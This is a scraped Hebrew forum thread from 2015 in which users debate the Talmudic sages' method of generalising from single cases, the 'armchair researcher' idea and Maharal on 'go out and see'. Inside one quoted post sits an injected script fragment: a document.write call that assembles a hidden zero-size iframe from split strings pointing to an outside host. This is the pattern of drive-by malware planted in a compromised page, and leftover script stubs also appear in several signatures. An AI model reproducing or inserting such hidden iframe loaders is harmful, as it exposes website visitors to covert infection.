| נשלח ב-12/4/2015 08:56 |
 |
| |
דוגמאות ודוגמאות נגדיות: מתודולוגיה של הוכחה והפרכה אצל חז"ל
הדברים הבאים נועדו לבחון את הפילוסופיה הלימודית של חז"ל. בפילוסופיה של המדע אנו רגילים לתאר את עבודתו של המדען כבנית תיאוריות ובחינתן מול אירועים שיכולים לאשש או להפריך אותם. המדען בודק אירוע ומסיק ממנו כלל ובונה תיאוריה (ניוטון למד מנפילת התפוח על כוח המשיכה בין מסות. מדידת תנועת האור בניסוי של מייקלסון-מורלי[1] הוכיחה לימים שאיינשטיין לכאורה צדק אבל ניוטון ודאי טעה). האם דגם כזה מופיע אצל חז"ל? כדי לבחון זאת, אני בודק דוגמאות של פסיקת הלכה לפי אירועים בודדים. אך הדיון המתודולוגי יעסוק גם בהלכות פרטיות ובמיוחד בתחום היחסים שבינו לבינה ובתנאים הדרושים לחינוך טוב לילדים.
[1] http://he.wikipedia.org/wiki/%D7%A0%D7%99%D7%A1%D7%95%D7%99_%D7%9E%D7%99%D7%99%D7%A7%D7%9C%D7%A1%D7%95%D7%9F-%D7%9E%D7%95%D7%A8%D7%9C%D7%99.
|
|
|
|
| נשלח ב-14/4/2015 13:17 |
|
| |
מיימוני,
השתמשת במושגים "עצמו" ו-"מציאות" כאלו הינם ברורים, ומהם הבחנת בין אדם בפני עצמו לאדם וחברו, ואמרת שהתמונה הכללית כוללת הן את האני הפנימי והן בין אדם לחברו, ומדה טובה הינה שטחית אם איננה מתייחסת לתמונה הכוללת. אלא שהמושגים "אני", "עצמו", "מציאות", רחוקים מלהיות ברורים. דקארט, לוק, קאנט, פרויד, הוסרל, וולטר בנימין, לוינס ואחרים עסקו הרבה בבירור והבנת המושגים האלה. ואין דרכי הפילוסופים לבירור הדברים בהכרח נכונות.
כשאמרתי מדה טובה הרצויה, התכוונתי למדה הטובה שעלתה במחשבת הבורא בבוראו את האדם. כשאמרתי מדה טובה במציאות, התכוונתי למדה הטובה באדם כפרט ובאנושות ככלל עד כה. התשובה לשאלה הראשונה אצל הבורא ולפיכך אם רוצים לדעת אותה יש לשאול את נביאי האמת מהי. התשובה לשאלה השניה מצויה אצל בני האדם ולפיכך אפשר למוצאה אם ב-אני אם ב-אתה ואם בדברי משוררים, חכמים, פילוסופים, סופרים, שחשבו היטב על השאלה.
|
|
|
|
| נשלח ב-14/4/2015 07:19 |
|
| |
מ
תודה על הסבלנות, ואכן דומה שיש בדבריך חילוק משמעותי. אבל אני עדיין תוהה.
איך אנו מכירים מהו האדם? מתוך הכרת עצמנו - אינטרוספקציה, ואנו עצמנו חלק מן המציאות. וכמובן, אנו בונים לגבי עצמנו השערות, שנראות לנו אמינות ביותר, שהרי הכרת העצמי היא ההכרה הראשונה שיש לנו. מבחינת התודעה האנושית, מה הדבר הראשון שיכיר האדם? אותן חויות שמתחילות אצל העובר ברחם האם, ואותה חויה של לידה, שכבר פרויד הגדיר, בצדק, כטראומה. אלו הן חויות טרום מושגיות, מפני שאז עדיין אין יכולת המשגה. אבל תודעה עצמית יש ויש.
וכמובן, כל אחד מאיתנו, שבתוך עצמו הוא גר, לומד להכיר את העולם מסביבו. כמדומה שכל תינוק הוא סוליפסיסט. הוא מכיר רק את התודעה של עצמו. אבל יש איזו יכולת מדהימה לזהות את התודעות מסביב. האם, האב, המשפחה, המטפלים מסביב. בשלב כלשהו לומדים לדעת שיש עוד בני אדם, שאיני היחיד, אם כי הילד עדיין אנוכי מאד ולא מרוע אלא מכך שהיכולת לאמפתיה, להכיר באחר, מתפתחת יותר באיטיות (ויש כאלו שאצלם היא חסרה לתמיד, כגון הפסיכופט ב"שתיקת הכבשים" המזעזע).
בשלב עוד יותר מאוחר, אדם עשוי להתענין ב וללמוד את הפילוסופיה והפסיכולוגיה. הוא עשוי להגיע לשאלות האלו גם בכוחות עצמו, או מתוך מה שהוא לומד תורה. וכיון שמדובר בנושא רחב, העיון יכול להתמקד בשאלה מהו האדם ומה עיקר האדם, ומה נשאר מן האדם לאחר המוות, ואיזה חלק חשוב יותר, היכולת לחשוב (שלפי אריסטו היא הופכת לידיעה ולכן היא החלק היחיד השורד והחלק היחיד החשוב באמת) או חלקים נוספים, כפי דתנו. והוא עשוי להתעניין בשאלה כיצד זוכים להצלחה חברתית, ואז הוא יעסוק בשאלות נוספות כמו איך מסתדרים בחברה, האם כדאי להזדרז ולהשיב הלוואות, וכיו"ב. או שהוא יתמקד באינטרוספקציה, וימשיך לשאול איזה חלק חשוב יותר בעצמו, המתבונן והממשיג (אריסטו) או הרוצה והבוחר (נניח, מהר"ל). אבל אלו זויות שונות של אותו עיסוק, ואי אפשר לזה בלי זה. הלא מה שאני מבין אחרים הוא מכוח האמפטיה שלי, להשוות את התנהגותם לשלי, ולשער לגבי הרגשותיהם לפי מה שהם מדווחים או שניכר מהתנהגותם. ויותר מכך, העדפת תחום זה או זה בתוך התודעה היא עצמה גם התעלמות משאר נתונים.
אשר על כן, החילוק הדיכוטומי (רק שתי אפשרויות המוציאות זו את זו) בין "מציאות" לבין "מציאות" אינו מדוייק. כמובן, אלו יכולים להיות תחומים שונים, שכן כאן אני עם עצמי וכאן אני עם זולתי. אבל תהא זו טעות שלא לראות את התמונה הכוללת, ותהיה זו שטחיות לתת עצות רק לתחום שבין אדם לחברו בלי להתמקד באני הפנימי.
כל מה שכתבתי באריכות כל כך מביא אותי למסקנה שלא אוכל לייחס פחות מתובנות אלו למו"ר ע"ה אם כי עלי להודות שכל מה שכתבתי לקוח מתוך ידיעותי שלי ולימודי שלי ולא שמעתי אותו מדבר על דברים אלו במפורש.
מה שכן היה ברור לי מתוך סוגיות שונות שניתח וביאר הוא שהוא מצא תובנות לגבי מהותו של האדם, בפני עצמו ועם זולתו, בתוך התורה עצמה, ואף בזכותו למדתי להבין יותר את התשובה לשאלה הגדולה הזו, מהו האדם, כפי שהיא בתלמוד וכפי שהאדם הוא באמת. (וזו אחת הסיבות המרכזיות לכך שאני רואה בו את מו"ר יותר מכל רב אחר שזכיתי להכיר). ותובנות יסודיות אלו חזרו והאירו לו כיצד לפרש וכיצד להבין כל דבר. ואפשר מאד שהבין הרבה יותר דברים שפשוט עדיין לא זכיתי להכיר.
לאחר כל הדברים האלו, האם באמת ראוי לשלול את החילוק שלך בין המידה הטובה לאדם בפני עצמו לבין המידה הטובה לאדם בין אדם לחברו? ניסיתי להסביר מדוע החילוק הזה פשטני. אבל לא אוכל להכחיש שיש ויש שיטות מחשבה שאכן מפרידות בין הדבקים. (שוב, אריסטו). אבל ההולך בדרך זו, כמו אריסטו שאינו חביב עלי, לוקה במבט שטחי, מתעלם מהקשרים רבים, ואת זה באתי לתקן ולהוסיף.
 |
|
|
|
|
| נשלח ב-13/4/2015 23:24 |
|
| |
מיימוני,
יש הבדל בין השאלה מה המדה הטובה הרצויה לבין השאלה מה המדה הטובה במציאות. השאלה מה המדה הטובה הרצויה אינה דורשת הכרת המציאות אלא עיון שכלי במהות האדם. השאלה מה המדה הטובה במציאות עוסקת בדרך ארץ ותיקון מידות ועל-כן דורשת הכרת המציאות ומחשבה עליה.
|
|
|
|
| נשלח ב-13/4/2015 22:00 |
|
| |
מ
תודה על החזרה. נראה לי שהבנתי יותר, ואני יכול לומר מה לא ברור לי. האם לשיטתך יש כזה דבר "עיון שכלי" בלי להכיר את המציאות הנבדקת?
אני עובר על דבריך ומזהה בתוכם כמה מונחים שכל אחד מהם כנראה אמור להצביע על משהו אחר:
עיסוק בתלמודם
לחקור בעיון שכלי
חקירה בשכל תורני
חקירה בשכל אנושי
חכמה אנושית
את הלפני-אחרון הדגמת כך:
שכל האנושי צריך לסבב ולעיין בנמצאים ומהם יקנה חכמה האנושית.
אני חושב שאני מבין מדוע התקשיתי להבין אותך.
איני מכיר שכל תורני השונה משכל אנושי. השכל האנושי, בשעה שהוא עוסק בתורה, הוא תורני. כאשר השכל האנושי שלנו מאמץ את הנחות היסוד התורניות, הוא לומד מתוך גישה תורנית.
איני מכיר משמעות לעיון שאינו כרוך בהכרת המציאות האמפירית. יתכן שהפילוסופים היווניים (במיוחד אריסטו) האמינו שהם יכולים להתפלסף, כלומר לעיין, על סמך איזה עיון אידיאי המנותק מן המציאות. בוודאי שלא כך סבר ר' גדליה. ולכן כתבתי שזה בדיוק מה שהמליץ המהר"ל שציטטת.
למעשה, גם איני מכיר יש כזה שנקרא "שכל". יש לנו אוסף של כישורים, מיומנויות, ועוד, שכולו נכלל אצלנו במונח השימושי "שכל". אבל השימוש במילה זו עלול להטעות. זה יוצר רושם שיש ישות כזו בפני עצמה. וזה לא ברור כלל.
שורה אחרונה: לא הרב גדליה, גם לא אני, וגם לא כללי העיון כפי שאני מכיר אותם, מאפשרים או מצדיקים עיון, נניח בנושא המידה הטובה, שלא יהיה מותנה בהכרה קודמת של המציאות האנושית, כלומר גם התבוננות בבני אדם.
אם כתבתי על ר"ג שהוא חוקר של כורסה, כוונתי היתה שהוא הסתמך על מה שהוא פגש מחוץ לכורסה, כמו כולנו, ואני משער שגם הסתמך על מה שראה והכיר מעצמו, מאינטרוספקציה (=התבוננות עצמית) וכן כמובן נעזר בסוגיות שלמד והן העניקו לו הנחות יסוד וכלים נוספים.
והמונח "חוקר של כורסה" בא לאפוקי (=להוציא) ממחקר מודרני שיתבסס בדרך כלל על מתודולוגיה: העלאת השערה, עיגונה באיזו תיאוריה רחבה יותר, הצעת מבחן, עריכת המבחן וכו'.
החוקר של הכורסה מסתפק במה שהוא מכיר מנסיונו האישי בלי ללכת ולחקור במעשה מודע של איסוף נתונים מסודר את הנושא שלגביו הוא רוצה להביע דעה.
***
ישיבישעאר
לפי מה ששמעתי ואף ראיתי, ר"ג למד הרבה מאד ספרי מחקר וכמדומה שבתחומים שונים עסק גם במחקר פעיל (נדמה לי שהיה כימאי או עסק בייצור כימי בתקופה מסויימת, לדוגמא). אבל הוא היה תמיד אוטודידקט. כלומר למד בכישורים האישיים העצומים מן הספרים (איני יודע לגבי אנשים אם נעזר בהם) ולא במסגרת אקדמית מסודרת כלשהי.
ולכן יש להשתמש במונח "חוקר של כורסה" לא בנימה מזלזלת. אולי אני מדגיש, מאוחר מדי, באשכול ובכלל, שהמונח הזה לגבי אינו מציין לא שרלטן, לא הדיוט, לא פזיז, אלא מישהו שמשתמש בנסיונו ובחכמתו כדי להוציא מסקנות מנתונים שהוא לומד ואוסף, אבל הלימוד שלו אינו נעשה במסגרת אקדמית או מחקרית וגם אינו כרוך במחקר עצמאי משלו. לכן אורבות למחקר של כורסה סכנות של טעויות במציאות (שלא כפי שכתב בעל בעמיו, כנראה בהומור).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-13/4/2015 19:03 |
|
| |
מיימוני,
רבן יוחנן בן זכאי אמר לתלמידיו צאו וראו איזוהי דרך טובה שידבק בה האדם. השאלה מה פירוש צאו וראו. לשיטת רבי גדליה נדל, הכוונה לצאת מעיסוק בתלמודם ולחקור בעיון שכלי מה התשובה לשאלתו של רבם. לדברי המהר"ל, כוונת רבן יוחנן איננה לחקירה בשכל תורני אלא לחקירה בשכל אנושי, כלומר איזוהי דרך טובה שמציאותה גלויה בנמצאים, ושכל האנושי צריך לסבב ולעיין בנמצאים ומהם יקנה חכמה האנושית.
|
|
|
|
| נשלח ב-13/4/2015 18:06 |
|
| |
ולכן המציאות היא אף פעם לא קושיה.
|
|
|
|
| נשלח ב-13/4/2015 16:44 |
|
| |
| מיימוני כתב: |  |
אולי אוסיף ואזכיר משהו ששמעתי ממו"ר הרב גדליה נדל ע"ה, כי כאשר חז"ל הביעו דעות לגבי הפסיכולוגיה והסוציולוגיה האנושית, הם לא ערכו מחקר אמפירי ולא סבבו בין הבריות לשאול איך הם מתייחסים לנושא מסויים. הם היו, מבחינה זו, חוקרים של כורסה. < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
כמדומני שרג"נ עצמו הוא דוגמא לחוקר כורסה (למרות שישב על כיסא עץ שבור..)
|
|
|
|
| נשלח ב-13/4/2015 16:30 |
|
| |
מ
תודה על המקור.
לא הבנתי מה בין דברי לבין דברי המהר"ל. האם לא זה מה שכתבתי?
ואף לא הבנתי מה בדיוק אמר ר"ג לפי הניסוח שלך. איני מצליח לקשר בין הניסוח שלך לבין מה שכתבתי אני. זה ודאי בגללי אז הסבר נא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/4/2015 16:28 |
|
| |
ירוחמ
מן הראוי היה, אם אתה מעתיק את דברי, שתבדיל בין מה שכתבת אתה לבין מה שכתבתי אני. אני מקפיד על זה כיון שהדברים מועתקים מדברי מו"ר ע"ה, וזה נראה כאילו אני חלקתי עליו. וגם אני מבקש להדגיש שהניסוח שלי ולא שלו ולכן אפשר מאד שקיצצתי או לא הצגתי את הדברים כפי שאמרם.
בכל אופן, המונח "סברת כרס" ראוי לבדיקה. זה תמיד נשמע לי כדבר שלילי. לא סברה המגיעה מן המחשבה אלא מתוך אכילה ושתיה או משהו כזה. ואיך ייחס הר"ג גישה כזו לחז"ל?
אין לזלזל יתר על המידה בחוקר של כורסה. יש הרבה דברים שאפשר לעשות מן הכורסה. למשל, לעסוק בלוגיקה.
וכל אחד מאיתנו יודע על החיים ועל בני אדם ובעיקר מנסיונו שלו. ויש שיודעים להתבונן יותר מאחרים. אני משער וכך גם הבנתי שזה מה שעשו חז"ל. הם התבוננו באדם כפי שהכירו מעצמם וכמובן כפי שלמדו מן ההלכות שלפניהם, והסיקו מה שהסיקו.
האם זה לא מספיק טוב בעיניך?
יש לי פעמים השגות על דברים שאמרו חכמינו בתחום המדע. אבל סבורני שעיסוקם בפסיכולוגיה והבנתם בתחום הם לעילא ולעילא, וההשגים בפסיכולוגיה טיפולית של היום (כמו בפסיכולוגיה קוגניטיבית ונראטיבית) הם למעשה ניסוח שיטתי יותר של רעיונות שמצויים בתורה וממילא אצלם.
כמובן זה ראוי לדיון בפני עצמו ואני מעדיף לא באשכול הזה. אפשר לפתוח אשכול על הפסיכולוגיה של חז"ל.
וכבר הארכתי יותר מכפי שתיכננתי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-13/4/2015 15:45 |
|
| |
מיימוני,
רבי יוחנן בן זכאי אמר לתלמידיו: צאו וראו איזוהי דרך טובה שידבק בה האדם. אפשר לפרש, כרבי גדליה נדל זצ"ל, צאו מתלמודכם והתבוננו בעיון והשכילו היטב איזוהי דרך טובה שידבק בה האדם. אולם המהר"ל פירש שיבחנו ויעיינו בבני אדם עד שיעמדו על איזו מדה טובה שבמדות, כי דברים אלה לא למדו מן התורה, רק מה שעמדו עליהם כאשר הם בוחנים בנמצאים, ובזה שייך צאו וראו. ולענ"ד שני הפירושים נכונים ורבן יוחנן בן זכאי אמר את דבריו בכלליות כדי לתת רשות לכל תלמיד ותלמיד לצאת לראות איזוהי דרך טובה בדרכו-הוא.
|
|
|
|
| נשלח ב-13/4/2015 15:04 |
|
| |
אולי אוסיף ואזכיר משהו ששמעתי ממו"ר הרב גדליה נדל ע"ה, כי כאשר חז"ל הביעו דעות לגבי הפסיכולוגיה והסוציולוגיה האנושית, הם לא ערכו מחקר אמפירי ולא סבבו בין הבריות לשאול איך הם מתייחסים לנושא מסויים. הם היו, מבחינה זו, חוקרים של כורסה. כל המינוח של המשפטים האלו שלי הוא. אני מקוה שאני מציג את דבריו נכון.
מתוך דבריו אני מבין כי כל מה שחז"ל פסקו-והם פסקו הרבה- בלי ניסון. סברתם היתה סברת כרס.
תוקן על ידי ירוחםשמ ב- 13/04/2015 15:04:33
|
|
|
|
| נשלח ב-13/4/2015 14:06 |
|
| |
למינגית
עדיין לא הבנתי מה טוען נגדי בסדר-הבנו, כי הודיתי לו שהתלמוד, כספר משפטי, אינו עוסק בתיאוריות מדעיות ובהוכחות מדעיות, אך יש משהו משותף לכל עיון שהוא, גם משפטי ולכן הלכתי, וגם למדע.
לגבי דוגמתך מבדיקת בתולה על חביות, סבורני שצדק ישיבישעאר בדבריו, וקדמני.
א. זו דוגמא לנסיון שאמור להיות אמפירי (בודק את העובדות) והוא, עד כמה שאני מבין אותו (והיה אשכול גדול שגם את השתתפת בו) - הוא מבוסס על טעות וקשה להבין איך היה אמור לעבוד.
אפשר לקרוא את המעשה הזה כהוכחה לאי ידיעתם של חז"ל בחכמות הטבע, ויש לכך דוגמאות נוספות, ומה לנו להלין עליהם שהיו בני תקופתם. ואפשר לקרוא אותו כנסיון להשתמש בידע המדעי הזמין, וזה בדיוק מה שאנו עושים, וכך ראוי לעשות.
ב. הסיפור הזה אינו מייצג את הנושא שבאתי להציג באשכול זה. והוא, ספציפית: באיזו מידה אירוע שאמור להוכיח או להפריך השערה לגבי תופעה אנושית יכול להעיד עליה. אני חוזר על מה שטענתי: חז"ל הסתמכו על אירועים בודדים כדי לטעון שזיהו קו כללי, וזה, הסיפור שהבאתי על הורי רבי חנינא, מוצג כדוגמא שאין ללמוד ממנה. וזו תופעה חריגה.
אולי אוסיף ואזכיר משהו ששמעתי ממו"ר הרב גדליה נדל ע"ה, כי כאשר חז"ל הביעו דעות לגבי הפסיכולוגיה והסוציולוגיה האנושית, הם לא ערכו מחקר אמפירי ולא סבבו בין הבריות לשאול איך הם מתייחסים לנושא מסויים. הם היו, מבחינה זו, חוקרים של כורסה. כל המינוח של המשפטים האלו שלי הוא. אני מקוה שאני מציג את דבריו נכון.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-13/4/2015 11:38 |
|
| |
את מערבבת שאלות הלכתיות, עם שאלות מציאותיות שנידונות בהלכה.
הנושאים ההלכתיים נטו, אינם קשורים לניסויים והם פרי של תפיסת עולם. אין בהם באמת הוכחות או מדע.
הנושאים המציאותיים תלויים לפעמים בניסויים (הרבה פעמים לא מדובר באמת במציאות, אלא בתפיסת מציאות מסויימת שלא תלויה בניסויים). אבל גם בזה שגית כשכתבת שההלכה הזו נצחית, בשולחן ערוך כתוב שלא להסתמך על זה בימינו. נכון שלא מחקו מהגמרא, אבל אני מניח שלא התכוונת למחיקה פיזית מהספר שהיא חסרת טעם.
|
|
|
|
| נשלח ב-13/4/2015 10:23 |
|
| |
הרב מיימוני, ליבי עם טיעוניך - אך שכלי עם טיעוניו של בסדר_הבנו.
במדע, ובעצם בכל תורה שנשענת על ההגיון והמציאות, יכול לבוא מישהו היום ולערער על תיאוריה מלפני 200 שנה. אם ניסוייו יצליחו והתיאוריה שלו תתן הסברים טובים יותר וניבויים מדוייקים יותר - הקהילה האקדמית תקבל, בסופו של דבר, את תיאורייתו.
מה שאין כן בהלכה. גם אם יעשו היום ניסוי מבוקר עם אלף בתולות ובעולות על אלף חביות יין ויוכיחו שאין שום ריח נודף או לא - עדיין הפיסקה הזו מהגמרא לא תימחק. היא נצחית. גם הנינים שלנו ילמדו אותה. אם כך, מה מקום יש להשוות בין הוכחות מדעיות להוכחות של חז"ל?
|
|
|
|
| נשלח ב-12/4/2015 23:33 |
|
| |
מקסמן
הדוגמא האחרונה שלך, סיפור קושיתו של ר' ירמיה: מה יקרה אם הציפור תעמוד בין שני הקינים, רגל כאן ורגל כאן, מה שהביא לגירושו לזמן מבית המדרש - אינה דוגמא לסתור.
זו דוגמא שמראה לנו, כמו במקומות אחרים בגמרא שבהם המקשן לא גורש על אבחנתו, שההלכה עוסקת גם במצבים שבהם הכללים שבידנו אינם מספיקים למסקנה שנובעת מן הכללים ולכן אנו בוחרים אותה באמצעים אחרים.
אני מסכים בהחלט למה שכתבת שהרב לא רצה לענות לקושית ר' ירמיה מפני שאין מה לעסוק בה עד שהיא תתרחש בפועל.
אבל באותם מצבים שבהם ניתן לבדוק היכן עומד האפרוח, אז יש לנו תשובה הלכתית שמתבססת על בירור עובדה: מה המרחק בין האפרוח לבין הקינים הקרובים אליו. וזו שאלה עובדתית, גם אם אין צורך להיות מדען כדי לענות עליה. זוהי עדיין שאלה אמפירית שנבדקת בכלים אמפיריים (גם אם הכלים אינם סרגל ומד מרחק אלא אמדן בהסתכלות).
|
|
|
|
|
